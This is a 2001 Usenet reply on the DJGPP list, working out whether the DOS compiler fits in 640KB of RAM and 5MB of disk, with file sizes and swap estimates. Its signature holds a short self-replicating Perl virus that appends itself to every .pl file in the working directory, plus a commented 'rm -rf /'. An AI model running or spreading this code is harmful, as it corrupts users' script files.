From: eins AT durchnull DOT de (Rudolf Polzer)
Newsgroups: comp.os.msdos.djgpp
Subject: Re: I am new here.
References: <Pine DOT SUN DOT 3 DOT 91 DOT 1010429100924 DOT 26520J-100000 AT is>
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X-realname: Eli Zaretskii
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Date: Sun, 29 Apr 2001 13:31:01 +0200
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To: djgpp AT delorie DOT com
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Reply-To: djgpp AT delorie DOT com

Eli Zaretskii <eliz AT is DOT elta DOT co DOT il> wrote:
> 
> On Sat, 28 Apr 2001, echo 'Rudolf Polzer'>/dev/null wrote:
> 
> > > > But swap is needed (perhaps not that much for C).
> > >
> > > It depends on the amount of physical RAM.  If the machine has 16MB or
> > > more, it should need no swap space for 99.99% of C compilations.  I
> > > don't use C++ much, but I'd guess that 32MB will take care of nost C++
> > > sources as well.
> > 
> > I meant: 640k _and_ 5 MB hard drive. Where to swap?
> 
> It's pointless to argue about such ridiculous examples, because this
> is a non-existent configuration: the smallest hard drive ever
> produced, even for the XT, was 10MB large.  And I doubt if you could
> find a 386 or better machine with only 640KB even if you tried very
> hard: they usually start at 4MB.

Really? See <200104271916 DOT PAA22525 AT envy DOT delorie DOT com> where DJ Delorie 
said: "640k and a 5MB hard drive" were enough.

1. There is no 5MB hard drive, but since hard drives tend to get full 
   and I had a 386SX16 (1MB RAM, 50 MB HDD) and Win3.1 running on it 
   as well as some programming languages (PowerBasic, TP 6.0, TPW 1.5)
   there were only 5MB free. But I did not wait very long to get four
   1MB SIMMs to upgrade... and I converted my HDD to DoubleSpace (DOS 
   6.0) to get some free space again. So this configuration _is_ (or 
   better, was) realistic.

2. I wanted to know if current DJGPP versions can still run on 5 MB 
   HDD and 640k RAM (so anything above 500k the compiler uses must be
   swapped out). Of course older versions may work, but current ones 
   (without starting the compiler from floppy and using the HDD only
   for swap; this saves >1 MB and therefore should work).

AFAIK at least these files of my distribution are needed 
(correct me if I am wrong, I am sure many small files are missing):

C:\DJDEV\BIN
  AS.EXE      (330k)     or not needed because of DJASM.EXE (110k)?
  CC1.EXE     (1800k)
  CPP.EXE     (240k)
  CWSDPMI.EXE (20k)
  GCC.EXE     (230k)
  LD.EXE      (310k)
  STUBIFY.EXE (60k)
C:\DJDEV\LIB
  LIBC.A      (610k)
  other small files (not counted)
C:\DJDEV\LIB\DJGPP\2.952
  SYSCALLS.CX (80k)
  COLLECT2.EXE(260k) ??? What's that good for?
  LIBGCC.A    (300k)
  SPECS       (small)
  some files already in C:\DJDEV\BIN (can be saved by putting stubs in 
  C:\DJDEV\BIN that just call these files)

.h files are not counted because you can just copy those you really 
need (stdio, stdlib etc.)

When I add these figures, I get 3760k, so that 4M are needed at least 
(I did not count COLLECT2.EXE and AS.EXE because I do not know if they 
are really needed).

So when 5M are free, you have <1.5M swap space and therefore <2.2M 
free memory. Will DJGPP work with <2.2M free (virtual) memory?  

BTW:
And why does 'false' contain more than just 'exit 1'? This simple 
program even has a help screen...
  

-- 
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
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